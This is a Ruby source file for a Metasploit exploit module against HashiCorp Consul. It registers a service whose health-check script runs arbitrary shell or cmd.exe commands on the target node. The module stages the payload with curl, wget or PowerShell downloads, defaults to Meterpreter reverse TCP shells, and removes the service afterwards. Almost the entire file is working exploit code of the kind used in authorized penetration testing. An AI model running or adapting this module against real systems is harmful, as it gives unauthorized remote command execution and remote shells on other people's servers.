metasploit-framework/modules/exploits/multi/misc/consul_service_exec.rb

161 lines
4.7 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Hashicorp Consul Remote Command Execution via Services API',
'Description' => %q{
This module exploits Hashicorp Consul's services API to gain remote command
execution on Consul nodes.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Bharadwaj Machiraju <bharadwaj.machiraju[at]gmail.com>', # Discovery and PoC
'Francis Alexander <helofrancis[at]gmail.com >', # Discovery and PoC
'Quentin Kaiser <kaiserquentin[at]gmail.com>', # Metasploit module
'Matthew Lucas <mattglucas97[at]gmail.com>' # Windows support for Metasploit module
],
'References' =>
[
[ 'URL', 'https://www.consul.io/api/agent/service.html' ],
[ 'URL', 'https://github.com/torque59/Garfield' ]
],
'Targets' =>
[
[
'Linux',
{
'Platform' => 'linux',
'CmdStagerFlavor' => ['bourne', 'echo', 'printf', 'curl', 'wget'],
'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }
}
],
[
'Windows',
{
'Platform' => 'win',
'CmdStagerFlavor' => 'psh_invokewebrequest',
'DefaultOptions' => { 'PAYLOAD' => 'windows/meterpreter/reverse_tcp' }
}
]
],
'Payload' => {},
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => '2018-08-11'
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path', '/']),
OptBool.new('SSL', [false, 'Negotiate SSL/TLS for outgoing connections', false]),
OptString.new('ACL_TOKEN', [false, 'Consul Agent ACL token', '']),
Opt::RPORT(8500)
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/v1/agent/self'),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.code == 200
vprint_error 'Unexpected reply'
return CheckCode::Safe
end
agent_info = JSON.parse(res.body)
if agent_info['Config']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableScriptChecks'] == true || agent_info['DebugConfig']['EnableRemoteScriptChecks'] == true
return CheckCode::Vulnerable
end
CheckCode::Safe
rescue JSON::ParserError
vprint_error 'Failed to parse JSON output.'
return CheckCode::Unknown
end
def execute_command(cmd, _opts = {})
uri = target_uri.path
service_name = Rex::Text.rand_text_alpha(5..10)
print_status("Creating service '#{service_name}'")
# NOTE: Timeout defines how much time the check script will run until
# getting killed. Arbitrarily set to one day for now.
case target.name
when /Linux/
arg1 = 'sh'
arg2 = '-c'
when /Windows/
arg1 = 'cmd.exe'
arg2 = '/c'
end
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(uri, 'v1/agent/service/register'),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
},
'ctype' => 'application/json',
'data' => {
ID: service_name.to_s,
Name: service_name.to_s,
Address: '127.0.0.1',
Port: 80,
check: {
Args: [arg1, arg2, cmd.to_s],
interval: '10s',
Timeout: '86400s'
}
}.to_json
})
unless res && res.code == 200
fail_with(Failure::UnexpectedReply, 'An error occured when contacting the Consul API.')
end
print_status("Service '#{service_name}' successfully created.")
print_status("Waiting for service '#{service_name}' script to trigger")
sleep(12)
print_status("Removing service '#{service_name}'")
res = send_request_cgi({
'method' => 'PUT',
'uri' => normalize_uri(
uri,
"v1/agent/service/deregister/#{service_name}"
),
'headers' => {
'X-Consul-Token' => datastore['ACL_TOKEN']
}
})
if res && res.code != 200
fail_with(Failure::UnexpectedReply,
'An error occured when contacting the Consul API.')
end
end
def exploit
execute_cmdstager
end
end